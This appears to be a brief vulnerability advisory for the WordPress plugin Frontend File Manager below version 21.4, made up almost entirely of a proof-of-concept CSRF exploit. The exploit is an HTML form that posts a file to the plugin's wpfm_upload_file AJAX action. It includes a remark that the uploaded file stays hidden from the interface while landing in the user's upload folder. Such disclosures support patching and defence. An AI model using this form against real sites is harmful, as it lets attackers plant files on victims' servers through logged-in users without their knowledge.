Frontend File Manager < 21.4 - File Upload via CSRF

Proof of Concept

<form action="https://example.com.com/wp-admin/admin-ajax.php?action=wpfm_upload_file" method="POST" enctype="multipart/form-data">
    <input type="file" name="file" value="">
    <input type="text" name="_file" value="payload.pdf">
    <input type="submit" name="submit" value="submit">
</form>

The file won't show up via the frontend/backend, but will be uploaded in the user folder (ie in wp-content/uploads/user_uploads/<usernname>/payload.pdf)